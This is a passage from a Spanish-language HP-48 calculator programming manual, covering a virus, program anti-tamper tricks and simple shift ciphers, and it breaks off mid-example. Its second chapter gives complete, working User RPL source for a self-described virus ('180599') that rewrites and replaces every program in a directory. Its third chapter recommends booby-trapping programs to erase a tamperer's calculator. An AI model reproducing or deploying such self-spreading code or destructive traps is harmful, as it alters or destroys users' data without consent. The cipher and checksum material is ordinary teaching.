nivel de la pila la lista con los nombres de los programas, y en el
2do nivel los cdigos infectados.
Tambin debemos darnos cuenta de algo muy importante, esto es que al
ir tomando cada cdigo de la pila y luego de infectarlo meterlo en la
pila se produce el efecto de que los cdigos quedan "al revs", o
sea, para nuestro ejemplo anterior, nos quedara en la
pila :
3:
2: { <<cdigo n>>.....<<cdigo3iii>> <<cdigo2iii>> <<cdigo1iii>> }
1: { programa1 programa2 programa3 ..... programa(n) }
Bueno, entonces ahora hacemos SWAP para volver a trabajar con los
cdigos, y luego, REVLIST, para invertir el orden de los cdigos, el
cual fue invertido durante el ciclo infectador.
luego nos queda el virus :
<< 8 TVARS DUP << RCL >> DOLIST OBJ->
-> A << { } SWAP
1 A START
->STR
DUP
SIZE
" 180599 DROP >>"
REPL
OBJ->
+
SWAP
NEXT
SWAP
REVLIST
>>
>>
Bien, ahora tenemos todo listo para aplicar el querido STO, pero nos
falta algo no ??? que an no hemos borrado las variables programas
para reemplazarlas por las infectadas..... Para esto, usamos la lista
con los nombres, la duplicamos, y a esta
duplicacin le aplicamos PURGE, con lo que se van los viejos
programas. Despus, ponemos de nuevo en el 2: los nombres y en el 1:
los cdigos infectados, y aplicamos STO
O sea, esta primera versin funcional del virus sera:
<< 8 TVARS DUP << RCL >> DOLIST OBJ->
-> A << { } SWAP
1 A START
->STR
DUP
SIZE
" 180599 DROP >>"
REPL
OBJ->
+
SWAP
NEXT
SWAP
REVLIST
SWAP
DUP
PURGE
SWAP
STO
>>
>>
LISTO !!!!!
Hemos terminado la primera versin del virus "180599" y lo mejor es
que funciona !.
Bueno, ahora depuremos nuestra obra,... me puedo dar cuenta que hay
una parte que se puede optimizar, me refiero a esta parte:
SWAP
REVLIST
SWAP
DUP
PURGE
SWAP
STO >> >>
Ese cdigo se puede reducir a:
DUP
PURGE
SWAP
REVLIST
SWAP
STO
Fjate que solo reducimos el cdigo en una instruccin, quiz lo
encuentres tonto, pero esto es muy importantsimo en programas
grandes.
o sea, el cdigo final del virus "180599" sera:
<< 8 TVARS DUP << RCL >> DOLIST OBJ->
-> A << { } SWAP
1 A START
->STR
DUP
SIZE
" 180599 DROP >>"
REPL
OBJ->
+
SWAP
NEXT @virus 180599
DUP @creado por Sebastian Rivas.
PURGE @milun@starmedia.com
SWAP @www.geocities.com/xj35u5x
REVLIST
SWAP
STO >> >>
Ahora, Despus de haber programado un virus, me voy a acostar,
pues son las 3.46 de la madrugada, saludos a todos quienes lean esto.
Nos vemos.......
Antes de irme os planteo un desafo, arreglar el programa, para
que no produzca ningn error en caso de que en el directorio actual
no hayan programas user-rpl o haya solo 1.
FIN DEL CAPITULO 2
---------------------------------------------------------------------
CAPITULO 3 "PROTEGER NUESTROS TRABAJOS DE LOS FALSOS HACKERS,
TAMBIEN LLAMADOS <<HACKERS DE PLSTICO>>"
Este es un tema muy importante a mi parecer, que todos los
programadores de aplicaciones para la hp-48 deberan tener en cuenta.
Empecemos por definir al hacker de plstico de la hp-48. Primero que
nada, de hacker....nada. O sea, nos referimos al tpico estpido que
Despus de un ao de intentos aprende a usar la librera HACK, que es
una gran librera, y lo que hace este chicuelo pendejo, es cambiar
algunos crditos, o por ejemplo, donde va el nombre del programa, lo
cambia por uno a su gusto. Tambin puede ponerle que fue l quien
lo desarrollo. Vamos a aprender algunas tcnicas bsicas anti-crack
para nuestros programas. En todo caso, no estoy usando bien la
palabra crack, ya que en ese caso, estoy ofendiendo a mis amigos los
crackers, cuyos ideales, dicen que ellos modifican los programas con
el nico fin de mejorarlos y quitarles limitaciones y errores. Bueno,
la verdad es que aqu no veremos a verdaderos crackers. LO que
veremos como ya dije es a un mocoso armado con una librera rompe-
libreras. Como por ejemplo, la querida librera HACK.
Ensear algunas tcnicas bsicas para que no puedan ser modificados
los programas que escribis.
Hace como 1 ao, yo estaba en ltimo ao de preparatoria, entonces,
por milagro, en mi curso haban como 8 hp-48, y yo estaba aprendiendo
a programarla, y creando mis primeros programas matemticos, pero
haba alguien en el curso que se dedicaba a crackear programas de
manera estpida, o sea, lo nico que haca
era reventar una librera, y cambiar los textos por otros inventados
por l. Pongamos el ejemplo de un conocido programa llamado
"XTRANSFER", el cual en realidad es una aplicacin de otro programa,
llamado "USEND", pero mucho ms fcil de usar. Muy til para los
principiantes y usuarios comunes, ya que permita de forma muy fcil
traspasar informacin entre dos hp-48. Bueno, en donde deca
"XTRANSFER", el cambio el texto por "SEND&GET", y tambin cambi
otros textos del programa por cosas como "CARCURO 2000" y cosas por
el estilo. Luego de eso, volva a armar la librera, y la distribua
diciendo que l era lo mximo. Todos mis compaeros quedaban
asombrados. Yo en realidad lo encontraba cmico. Total, lo que estaba
jodiendo era un programa hecho por otra persona. Pero esa gracia paso
completamente cuando sent en mi propia carne el hecho de que te
modifiquen un programa que has hecho t. Que ha salido de lo profundo
de tu alma de programador. En ese momento me di cuenta de que tena
que hacer algo. Este chico tena en sus manos el poder para modificar
programas USER a su gusto, y lo peor es que sin ningn tipo de
conocimientos de programacin. Bueno, empec a pensar, y a leer
las instrucciones de los comandos extraos de la hp-48.
Comenc a buscar un comando que me ayudara en mi tarea, y despus de
un tiempo de investigar, me encontr con algo que me podra
ayudar.... El comando BYTES. Lo siguiente es la documentacin oficial
de hp-48 acerca del comando:
....DEVUELVE EL TAMAO(EN BYTES) Y LA COMPROBACIN DE UN OBJETO(X)...
Eso fue extraido de la pgina G-6 del manual de usuario. Verdad que
no nos dice nada '?????? Bueno, empec a probar el comando....
Resultaba que uno pona un objeto de cualquier clase en la pila, y le
entregaba dos nmeros....
Por ejemplo, si pona el nmero 4567 lo que pasaba era esto....
antes :
2:
1: 4567
despus :
3:
2: # 51187d
1: 10.5
Bueno, dejando de lado las definiciones formales, lo que me di cuenta
Despus de aplicarle el comando a muchos objetos, incluyendo
programas, textos, nmeros, listas, etc... fue que jams se repeta
el nmero del nivel 2: . O sea que cada objeto que uno hiciera, tena
su propio nmero en el nivel 2:. Bastaba con que fueran diferentes
dos objetos para que automticamente sus nmeros del nivel 2: tambin
lo fueran.
Esto me llev al siguiente razonamiento..... Que pasara si ?
luego de haber programado nuestro programa, haberlo guardado en una
variable, le aplicsemos el comando BYTES. De esta manera
obtendramos ese nmero nico, el cual deberamos usar para modificar
el programa, de manera que se haga un ciclo IF THEN ELSE en el cual
ese nmero se compare con el verdadero, y en este caso, CUALQUIER
modificacin al cdigo hara que el programa no funcionase. Pero hay
que tener en cuenta que al haber modificado el programa para
introducirle el nmero secreto, se habr cambiado este nmero
nuevamente, por lo que ser necesario volverle a aplicar el comando y
de esta manera, se producira un ciclo infinito en el cual nunca
podramos ponerle el nmero al programa. Es importante entender este
razonamiento.... Para verlo ms claro, tomemos en cuenta el siguiente
cdigo, el cual no hace nada, pero ilustraremos que no se puede
insertar el nmero secreto ese.....
Por ejemplo , tengamos el cdigo :
<< "HOLA" MSGBOX >>
Ahora, si le aplicamos BYTES a eso, supongamos que nos da como
resultado el nmero # 28462d Entonces ahora tratemos de ingresarle
este nmero al programa....
<< "HOLA" MSGBOX # 28462d >>
Hay lo tenemos, pero si nos damos cuenta, ahora ese nmero no nos
sirve, ya que como lo modificamos su nmero secreto habr
cambiado....
*********************************************************************
Nota del autor : Me encuentro un poco ridculo diciendo "nmero
secreto", as que de ahora en adelante dir "suma de verificacin"
*********************************************************************
Entonces, aplicndole nuevamente el comando BYTES nos dar otro valor
distinto, y de nuevo, al modificar el programa para insertar esa
nueva suma de verificacin, esta habr cambiado.... De esta manera
sacamos una conclusin importante, un solo mdulo de un programa no
se puede defender a si mismo de esta manera.....
Pero sin embargo, usando un poco el crneo, se nos podra ocurrir
hacer algo inteligente para que un modulo se pudiera defender a si
mismo, esto, lo haremos utilizando una pequea "inmersin".
O sea, meteremos el modulo dentro de otro, y este decidir si
se ejecuta el cdigo o n.
Por ejemplo, para nuestro pequeo programa anterior:
<< "HOLA" MSGBOX >>
Su suma de verificacin era # 28462d
Entonces, consider el siguiente cdigo:
<< << "HOLA" MSGBOX >>
DUP
BYTES
DROP
IF # 28462d ==
THEN EVAL
ELSE CLEAR
END
>>
Bien, vamos por partes, antes de decir los defectos o virtudes de
esta manera de proteger el programa, vamos a analizarlo, para los que
an no hayan entendido la idea. Primero que nada, debemos tener en
cuenta que la suma de verificacin del programa
<< "HOLA" MSGBOX >> es # 28462d
Entonces, vamos por partes, primero, se pone el programa en la pila,
luego se duplica. Despus, mediante la duplicacin que hicimos,
aplicamos el comando BYTES, y obtenemos la suma de verificacin del
programa << "HOLA" MSGBOX >>. Pero ah hay metido un comando DROP ,
por que ??? recordemos que el comando BYTES nos entrega DOS
resultados, en el nivel 1 el tamao, y en el dos la suma de
verificacin, entonces, como lo que a nosotros nos interesa es la
suma de verificacin, hacemos DROP, borrando de esta manera el
tamao de la pila, y quedndonos solo con la suma de verificacin ,
que es lo que nos interesa. Despus de eso, lo que hacemos es
comparar el nmero obtenido con el que sabemos que es verdadero, o
sea, el nmero # 28462d. Y dependiendo si son iguales, ejecutamos o
no el cdigo, mediante esa estructura IF THEN ELSE
O sea, pongmonos en el caso de que un mocoso que se cree cracker,
pero no sabe nada de programacin, tiene en sus manos este programa
hecho por nosotros,,, o mejor debera decir que lo tiene en su
calculadora :-)
Ahora, supongamos que el mocoso cambia la palabra HOLA por la palabra
CHAO, el cdigo modificado por nuestro super cracker sera:
<< << "CHAO" MSGBOX >>
DUP
BYTES
DROP
IF # 28462d ==
THEN EVAL
ELSE CLEAR
END
>>
Pero en este caso, se habr modificado el contenido del programa que
queremos ejecutar, y esto ser detectado por la estructura IF THEN
ELSE, la cual, debido a que la suma de verificacin del programa ser
distinta a la que se le dio para comparar, decidir no hacer nada
( CLEAR ) o mejor dicho, lo que hace
es borrar la pila con el comando CLEAR.
Sera muy positivo si los ejemplos que voy dando en el manual los
vayas probando al mismo tiempo. En caso de encontrar errores en algn
cdigo, o tu crees que se puede mejorar de alguna forma, mndamelo a
milun@starmedia.com y yo lo publicar en la pgina.
Ahora analizaremos los defectos de esta proteccin.
Bueno, debemos aclarar que este es una proteccin que debera
funcionar, pero recordemos contra quien estamos luchando, nuestro
enemigo en este momento es un cracker-de-plstico, el cual no tiene
idea de programacin. Debe quedar en claro para los que an no saben
esta regla universal de los crackers.... TODO PROGRAMA SE PUEDE
CRACKEAR. Esto es una ley inquebrantable. Entonces, la proteccin de
programas que enseamos aqu es en contra de gente con nulos
conocimientos de programacin, o muy pocos.
Por lo tanto, lo que quiero decir, es que un cracker de plstico, no
tiene idea de lo que significa la palabra DROP por ejemplo, o BYTES,
pero en cambio, si que puede modificar las cadenas de texto a su
gusto, y esperar que el programa corra como si nada, con las
modificaciones que l hizo. Entonces, es de esto que nos estamos
protegiendo, que el modificar un programa en cualquier forma, luego
este no se pueda ejecutar correctamente.
Y como estamos en esto, les hablar un poco sobre mis ideas. La
mayora de la gente solo dispone de 1 hp-48, y en este hecho se basa
lo que estoy a punto de deciros. Por ejemplo, en el programa
anterior, si el atacante modificaba el programa, este simplemente no
corra. Pero esto le da mucho tiempo al atacante para probar otras
cosas. Pues bien, yo creo que lo mejor es que en caso de que se trate
de modificar el cdigo de nuestro programa, el efecto no debe ser
algo tan suave como "no hacer nada", en mi caso personal, el efecto
de defensa que produzco al tratar de modificar mis programas, es
simplemente hacerle dao al atacante, por ejemplo, borrando todo lo
que hay en la calculadora.
Por supuesto que cada uno hace lo que quiere con los atacantes, yo
solo cumplo con decirles lo que YO hara. Adems, sera como un
castigo al atacante, y por otro lado, automticamente, le quita la
posibilidad inmediata de seguir tratando de hacer cosas con nuestro
programa, ya que antes deber conseguirlo y todo eso.
Bueno, sigamos la discusin de los defectos de la proteccin que
dimos recin. Su cdigo era:
<< << "CHAO" MSGBOX >>
DUP
BYTES
DROP
IF # 28462d ==
THEN EVAL
ELSE CLEAR
END
>>
El primer gran error que pienso tiene esta proteccin es que
realmente es poco probable, pero a un atacante con paciencia, de
repente podra ocurrrsele borrar parte del programa, y ver si
funciona... por ejemplo, si el atacante, luego de varios intentos
fallidos, borrara parte del programa, y este quedar solo as :
<< "CHAO" MSGBOX >>
Entonces estamos fritos, ha destruido toda la proteccin, y encima
tiene un programa mas liviano. Y peor que todo esto, es que cuando se
encuentre con algo similar, ya sabr que hacer para destruir la
proteccin. Por eso, si se ha de usar algo como esto, o sea, que un
programa se defienda a si mismo, es mejor que los efectos para el
atacante al primer intento, sea algo que no le deje ganas de volver a
jugar al cracker.
Bien, ahora, esto que discutimos no es tan peligroso en programas
grandes. Es ms peligroso en programas pequeos.
Otro defecto de este tipo de proteccin, es que antes de ejecutar el
programa, se debe poner este en la pila, lo que en programas grandes,
produce penalizaciones en la velocidad de inicio
del programa.
Otra cosa a tener muy en cuenta a la hora de hacer protecciones, es
jams incluir cadenas de texto en los efectos de la defensa.
Considere el siguiente ejemplo, en el cual cambiaremos los efectos de
nuestra anterior proteccin.....
<< << "CHAO" MSGBOX >>
DUP
BYTES
DROP
IF # 28462d ==
THEN EVAL
ELSE CLEAR "ERES UN MALDITO" MSGBOX
END
>>
En este caso, como supongo la mayora de ustedes se habr dado
cuenta, lo que se hace en caso de que el atacante modifique el cdigo
es borrar lo que hay en la pila con el comando CLEAR, y enviarle el
mensaje a la pantalla ... "ERES UN MALDITO" MSGBOX.
El hecho de poner textos en las protecciones yo considero que es un
grave error, ya que, luego de que el atacante vea el efecto, podra
ir al cdigo, y buscar en este la frase que le mandamos. De esta
manera, podra llegar fcilmente a destruir la proteccin. Lo mejor
es hacer que los efectos en el cdigo sea solo eso, cdigo, entonces,
un inexperto no entender nada de lo que pasa.
Ahora, entendamos otra forma de proteger nuestras creaciones de los
crackers-de-plstico.
Y antes, me gustara, por si anda algn cracker verdadero leyendo
esto, decirle que mi intencin con la frase cracker-de-plstico es
ofender a los lamers que andan por ah. Yo tengo amigos crackers( y
no solo de hp :-), y los respeto mucho a ellos y a sus ideales.
Bien, continuemos con la nueva forma de proteccin, a la cual
llamaremos "hermandad", la cual sirve solo en programas que consten
de varios mdulos. La idea se trata de que un modulo protege a otro
que no es l. Por esto bautic la proteccin con el nombre
"hermandad". Lo bueno de esto es que ya no se necesita inmersin, a
menos de que se trate de un programa que esta incluido en una
librera, en cuyo caso se necesita inmersin, pero veremos ms
adelante que esta forma que doy a conocer tampoco es tan buena como
la que viene a continuacin.
Ejemplo:
Como ejemplo, tomaremos el programa que desarrollamos al comienzo, o
sea, el que simula en la pantalla un punto rebotando por todos lados.
<< GROB 1 1 10 WQ STO
GROB 1 1 00 WQ2 STO
<< { KK2 } RCL BYTES IF # B767h == THEN
{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO
ERASE PICT RCL (0,0)
WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2 >>
KK1 STO ELSE VARS PURGE END
<<
DUP C->R -> T A B << SWAP T WQ2 REPL
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
T XJ32 + WQ GOR SWAP KEY
IF 0 == THEN ANIMATE T XJ32 + KK2
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX END >> >> KK2 STO
KK1 >>
Bueno, en realidad, aqu s tenemos inmersin, o sea, el programa en
realidad, crea dos programas, y les pone nombre, luego los ejecuta, y
Despus de terminado el programa, los borra, quedando solo el
programa padre.
Pero aqu el cdigo lo desarmaremos y pensaremos en un programa que
consta de dos mdulos.... o sea :
A este le llamamos KK1 :
<< { KK2 } RCL BYTES IF # B767h == THEN
{ XJ32 PPAR KK1 KK2 WQ WQ2 } PURGE (0.5,0.5) XJ32 STO
ERASE PICT RCL (0,0)
WQ GOR { 1 { #0h #0h } 0 1 } ANIMATE (0,0) KK2 +
ELSE CLEAR END >>
Y a este otro le llamamos KK2:
<<
DUP C->R -> T A B << SWAP T WQ2 REPL
IF 'A>5.8' THEN { XJ32 } (1,0) STO- END
IF 'B>2.5' THEN { XJ32 } (0,1) STO- END
IF 'A<-5.7' THEN { XJ32 } (1,0) STO+ END
IF 'B<-2.8' THEN { XJ32 } (0,1) STO+ END
T XJ32 + WQ GOR SWAP KEY
IF 0 == THEN ANIMATE T XJ32 + KK2
ELSE { PPAR XJ32 KK1 KK2 WQ WQ2 } PURGE CLEAR
"by xj35u5x" MSGBOX END >> >>
Antes que nada, vemos que KK1 se modific. En la ltima lnea,
introduje el cdigo ELSE CLEAR END
Esto es para completar el ciclo IF THEN ELSE
Entonces tenemos un programa que consta de dos mdulos
independientes, cada uno de los cuales cumple una funcin especfica,
las cuales ya estan muy comentadas en el primer capitulo de esta
tercera parte de mi manual.
Lo que importa es que aqu tenemos una hermandad. Primero que nada,
debemos recordar que el mdulo encargado de comenzar el programa es
KK1. En caso de que se ejecutase primero KK2 dara error puesto que
este necesita algnos parmetros que le proporciona KK1.
Y si nos damos cuenta, en el mdulo KK2 no hay ninguna referencia a
KK1, por lo que concluimos que el programa KK1 lo nico que hace es
comenzar la ejecucin y preparar las cosas para que KK2 funcione
bien.
Pero lo importante de este programa es la hermandad. En este caso la
hermandad se la proporciona KK1 a KK2, ya que en KK1, antes de
comenzar la ejecucin del programa propiamente tal, o sea, lo de la
pelotita, se le pide la suma de verificacin a KK2 y se compara con
la que se le ha sido proporcionada. Entonces, en caso de que KK2 haya
sido modificado lo que se producir ser simplemente que se borrar
la pila.
Lo bueno de esta tctica es que para el hacker tonto es ms difcil
detectar donde esta la comprobacin, sobre todo en programas grandes,
y lo mejor es que no se enlentece el programa en forma desmedida con
esta tcnica.
Ahora veamos la tercera forma que ensear de proteger los programas
que desarrollemos. Hay que tener en cuenta que esta forma es la mejor
segn yo, y tambin que es mejor aplicarla en grandes programas.
Se trata de proteger No el cdigo de los programas, sino solamente
las cadenas de texto.
O sea, las cadenas se guardan como tales en mdulos aparte, y luego,
cuando se ejecuta el programa, se llama a las cadenas de texto, para
comprobar si cumple con los "requisitos", y luego se usan para armar
el programa y ejecutarlo en forma correcta.
A esta forma le llamaremos "comprobacin de objetos"
As mismo, debemos considerar que a veces, en programas grandes, es
bueno incluir grficos, como dibujos, o crditos de lujo, animaciones
etc...
Con respecto a esto, debemos decir que lo que vamos a hacer con las
cadenas, tambin podemos hacerlo con grficos (grobs).
Por ejemplo, consideremos un pequeo programa, que lo que haga sea
decir el nombre del dueo de la calculadora....
<< OFF "ESTA CALCULADORA PERTENECE A SEBASTIAN RIVAS" MSGBOX >>
Ese programa sera til para apagar la calculadora, ya que Despus
cuando la prendieramos, aparecera el mensaje del nombre del dueo,
en el cual podra especificar la direccin de correo electrnico, la
direccino el telfono etc etc...
Pero lo que el cracker-peo hara con nuestra gran creacin ...
<< OFF "ESTA CALCULADORA PERTENECE A JUAN JORGE" MSGBOX >>
Y todo se ha podrido....
Entonces, mejor hacemos un programa que conste de dos mdulos, uno de
los cuales no haga nada, y no sea un programa, sino una simple
variable que contiene la cadena que se quiere mostrar.....
Modulo : CHAO
<< CADENA BYTES DROP
IF # 36267d ==
THEN CADENA OFF MSGBOX
ELSE CLEAR >>
Mdulo : CADENA
"ESTA CALCULADORA PERTENECE A SEBASTIAN RIVAS"
Si nos damos cuenta, el mdulo CADENA no es un programa, sino una
simple cadena de texto.
Ahora sera mucho ms difcil para el cracker-poto crackear nuestro
programa, o sea, para nosotros es una estupidez, pero un ignorante se
hara todo un problema....
Y todos estos mtodos, usados en conjunto, en programas metidos en
libreras, brindan una gran seguridad.
Tambin hablaremos sobre un pequeo y poderoso programa que anda por
ah, llamado TOCODE y escrito en otro lenguaje, no estoy seguro si es
system o assembler. Este nos permite encriptar nuestras creaciones de
manera fcil y rpida. Simplemente transforma cualquier texto,
dibujo, PROGRAMA, en una simple palabra bajo la cual se esconde el
objeto, y mediante la cual se esconde el cdigo, y solo con la hp48
vaca es imposible ver el objeto original. La palabra es Code.
O sea, supongamos que tenemos un programa en la pila de esta forma :
2:
1: << programa >>
Al aplicar el TOCODE nos queda :
2:
1: Code
Simplemente eso, y al evaluar eso, mediante EVAL, o solo guardndolo
en una variable como lo haramos con cualquier otro programa, podemos
ejecutarlo como si fuera cualquier otro programa, y sin posibilidad
para un principiante de reventar este "Code".
El programa TOCODE lo pueden bajar de mi pgina en Internet,
http://www.geocities.com/xj35u5x
De ah van a hp-48 y a la seccin HERRAMIENTAS DEL PROGRAMADOR.
Bueno, con eso damos fin a este tercer captulo. Ahora solo depende
de ti si tus programas que hagas sean o no reventados y crackeados.
Lo importante de todo esto, es que las tcnicas que nombr aqu no
fueron sacadas de ningn manual, ni copiadas de otro lenguaje,
simplemente fueron una "idea" mia. De esta misma forma, tu debes
pensar y desarrollar tus programas conociendo el lenguaje y aplicando
tus propias ideas.... As irs conformando tu estilo.
FIN DEL CAPITULO 3
---------------------------------------------------------------------
CAPITULO 4 "ENCRIPCION DE TEXTOS EN LA HP-48"
Partamos este interesante captulo con una pregunta....
Que es la Encripcin ?
La Encripcin para mi, es el arte, el conjunto de ciencias para
ocultar a los ojos de cualquiera una informacin que se considera
confidencial.
O sea, se trata de aplicarle un programa a una cadena de texto, y
obtener otra, de la cual no podr ser extrada la informacin
original, a menos que se "sepa" algo, como por ejemplo una clave.
Primero veamos un programa que modifique un texto:
<< DUP SIZE 1 SWAP
FOR A DUP A DUP SUB
NUM 1 + CHR
A SWAP REPL NEXT >>
Pruebe este programa con una cadena.
Como se puede dar cuenta, lo que hace es modificar cada caracter de
una cadena de texto, esto lo logra de la siguiente forma.....
Primero, saca el caracter de la cadena, obtiene su nmero de caracter
ascii, luego a este nmero le suma 1. Despus, con este nuevo nmero
se saca otro caracter, el cual se reemplaza en la cadena por el
original. Todo esto, como se puede apreciar, mediante un ciclo FOR
NEXT.
Entonces, lo que hicimos con este modesto cdigo fue encriptar una
cadena, bueno, una encripcin bastante humilde, pero digna para
empezar.... Cambiemos el nmero que se suma por 10 :
<< DUP SIZE 1 SWAP
FOR A DUP A DUP SUB
NUM 10 + CHR
A SWAP REPL NEXT >>
Ah esta un poquito ms decente.
*******************************************************************
Nota del Autor : Este captulo tiene por objeto, adems de
simplemente aprender algo nuevo sobre programacin en la hp-48
introducirlo en el apasionante mundo de la CRIPTOGRAFIA, es por esto
que iremos discutiendo cada mtodo de encripcin, y algunas formas de
reventar los criptogramas(lograr descifrar el mensaje encriptado).
*******************************************************************
Pero esto no nos sirve mucho slo, ya que necesitamos otro programa,
el cual nos desencripte el texto encriptado. Se les ocurre como
sera el desencriptador de este humilde encriptador ?
Supongo que si..... :-)
<< DUP SIZE 1 SWAP
FOR A DUP A DUP SUB
NUM 10 - CHR
A SWAP REPL NEXT >>
Simplemente, hacemos la operacin inversa, o sea, al caracter en vez
de sumrsele 10, se le resta.
Tome en cuenta, que dados estos dos programas usted no est en
condiciones de decir cual es el encriptador, y cual es el
desencriptador, ya que cualquier texto que se encripte con uno, se
puede desencriptar con el otro.
El ltimo prrafo es cierto?
No.
Adems de solo programar la hp-48 debemos conocer sus propiedades. O
sea, debemos saber que a cualquier texto le podemos sumar un nmero y
obtener otro, y luego realizar la operacin inversa, en cambio si le
restamos demasiado, nos darn caracteres negativos, los cuales, la
hp-48 los interpreta todos como el caracter nulo, o sea, el de
numeracin 0.
De esta manera, es mucho ms fcil con la suma como encriptador y la
resta como desencriptador.
Ahora, digamos que haramos en caso de que supiramos que este es el
mtodo que usa un encriptador, pero no tenemos forma de saber cual es
el nmero que se le suma, para lograr reventar el criptograma.....
Se les ocurre ???
Bueno, es algo bastante tonto todava, pero es bueno ir razonando
estas cosas....
Se supone que tenemos acceso al encriptador/desencriptador, y tambin
tenemos el texto que no sabemos como poder leer, ya que fue
encriptado....
Antes de decir como lo haramos, tomen en cuenta un reto que les
hago, yo encriptar una pequea frase en mi hp-48, usando una clave
secreta, y lo pondr aqu... Entonces, si logras desencriptar la
frase, te sentirs MUY bien, pues lo habrs logrado sin que yo te
dijera como... Y hay varias formas de hacerlo.....
EL RETO ESTA HECHO....
El criptograma a desencriptar es:
"JYPW[VNYHMPH'LU'SH'OW;?"
Quien lo logre solo, va por el buen camino.
Ahora, digamos una de las fciles formas para romper nuestro querido
primer encriptador...
Lo que yo hara para reventar el criptograma que nos dan, sera,
primero, tomar el caracter "A", del cual se que su cdigo
ascii es el 65. Luego, mediante el encriptador, encripto la cadena
que contiene solo la "A" o sea, la cadena sera
"A"
Luego de encriptarla, voy a recibr otro caracter, del cual debo
sacar su cdigo ascii mediante el comando NUM. Este nmero ascii
lo disminuyo en 65, que es el cdigo de la "A", y obtengo el nmero
secreto.
Facil eh..!!!
Referencia :
Aqu dar algnos nmero ascii de algunos caracteres importantes:
"A" -> 65
"Z" -> 90
"a" -> 97
"z" -> 122
"0" -> 48
"1" -> 49
"9" -> 57
" " -> 32 (espacio en blanco)
La lista completa de los 255 caracteres ascii de la hp-48 y sus
correspondientes nmeros los puede ver en su propia calculadora, en
la aplicacin que trae incluida, llamada CHARS.
Bueno, de esto, vemos que el caracter ms alto de los que normalmente
conforman un texto es la "z", la cual tiene el valor 122. Teniendo
ahora en cuenta que el nmero de caracteres es 255, el valor mximo
que deberamos sumar a nuestros caracteres sera
(255-122)=133. Pero teniendo en cuenta que algunos pocos caracteres
mayores que el 122 tambin se utilizan, lo mejor sera dejar el
numero a un mximo de 50. Con la seguridad de siempre poder volver a
desencriptar.
******************************************************************
Nota del autor : Se recomienda revisar las partes 1 y 2 del manual,
en donde se habl un poco sobre programas que modifican textos.
******************************************************************
Bien, pero hasta ahora, no hemos hecho nada prctico, ya que si un
tipo viera nuestro texto encriptado, lo nico que tendra que hacer
para desencriptarlo sera usar el desencriptador. Entonces, vamos a
hacer un verdadero humilde encriptador, el cual depender de una
clave para poder desencriptar el texto. Esta clave ser un nmero
entre 1 y 50 el cual se introducir al ejecutar el programa, o sea,
el programa le pedir una clave antes de encriptar el texto, clave
con la cual ser posibre, mediante el desencriptador, poder
desencriptar el criptograma.
******************************************************************
Nota del autor :
Criptograma = Texto Despus de ser encriptado.
******************************************************************
Ahora haremos nuestro primer encriptador....
<< "ENCRIPTADOR 1.0" MSGBOX
"INTRODUZCA EL NUMERO CLAVE (1-50)"
"" INPUT OBJ-> -> clave
<<
DUP SIZE 1 SWAP
FOR A DUP A DUP SUB
NUM clave + CHR
A SWAP REPL NEXT >> >>
Y su correspondiente desencriptador......
<< "DESENCRIPTADOR 1.0" MSGBOX
"INTRODUZCA EL NUMERO CLAVE (1-50)"
"" INPUT OBJ-> -> clave
<<
DUP SIZE 1 SWAP
FOR A DUP A DUP SUB
NUM clave - CHR
A SWAP REPL NEXT >> >>
Espero que se haya entendido.
Lo que hacemos es pedir una clave, de esta manera, es usando esa
clave que encriptamos el texto. Que bien ahhh, ??? ahora nadie podr
conocer nuestros textos secretos... !!!, Antes de quedar baboseando
frente a algo tan simple, dime, acaso esta cosa es invencible???,
por SUPUESTO QUE NO, de hecho, este algoritmo de encriptacin fcil
de reventar.
No se qu hacer ahora, se supone que debo decirles algna forma de
quebrar el encriptador, pero por otro lado, se los estoy poniendo muy
fcil,......mmmmmmmmm...... a ver,..... bueno, lo dar, pero traten
de razonarlo un rato antes, piensen que podran hacer para reventar
un criptograma....
Otro reto : reviente el criptograma siguiente....
"YR$TSGS$QEW$HMJMGMP"
Bueno, veamos una forma simple de romper el algoritmo de encriptacin
que usamos ahora.... Lo que se me ocurre de inmediato, es guardar el
criptograma en una variable para trabajar varias veces con l. Y
luego usar el desencriptador,... Pero se supone que no conocemos la
clave !!!!!, como lo desencriptaremos !!!!!!! ?????
??????? haga trabajar ese cerebro !!!!!, hay solo 50 nmeros
que pueden ser la clave, simplemente voy provando con cada nmero del
1 al 50. :-))))))
Y en caso de que este nmero fuera mayor, ya sabemos que el tope para
que no hayan problemas es 130. De otra manera, el encriptador no
servira, ya que los textos no se podran desencriptar, ya que uno se
pasara del nmero 255, el cual es el
ltimo caracter ascii, y por ejemplo, si un caracter se transformara
en el caracter 350, este nmero rebasa por 95 al 255. La calculadora
lo que hace en estos casos, es darle al nuevo caracter el valor 95.
Pero luego, si se quisiera desencriptar, se le restara nuevamente la
clave, la cual es mayor que 95, y con esto, se producira un caracter
negativo, todos los cuales son para la hp-48 el caracter nulo, o sea,
el criptograma no se podra recuperar.
********************************************************************
Nota del autor:
Esto es tan apasionante, por la mierda !!!!! me encanta la
criptografa !!!!!! VIva PGP !!!! viva RSA !!!!! viva DES !!!!!
********************************************************************
Bien, ya hemos visto dos formas de encriptar textos en la hp-48 y su
correspondiente forma de reventar. Sigamos con el captulo....
Ahora nos daremos un salto, y veremos una forma mucho ms dificil de
reventar.
Ahora lo que haremos ser un encriptador, el cual nos pida una clave,
que podra ser por ejemplo un nmero de 5 cifras, el cual se
utilizara para cifrar el texto, pero no de la forma que estn
pensando sino as.... Supongamos que el texto fuere :
"HOLA A TODOS"
Entonces ahora, SUPONGAMOS que los cdigos ascii de cada caracter son
:
"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S"
72 79 76 65 32 65 32 84 79 68 79 83
Entonces, ahora suponiendo que la clave fuera 54321, lo que vamos a
hacer con la clave y el texto se ilustra a continuacin...
"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S"
72 79 76 65 32 65 32 84 79 68 79 83
5 4 3 2 1 5 4 3 2 1 5 4
O sea, la clave la vamos poniendo debajo de cada nmero ascii para
luego hacer que ????
Sumarlos... Con lo que nos queda :
"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S"
72 79 76 65 32 65 32 84 79 68 79 83
5 4 3 2 1 5 4 3 2 1 5 4
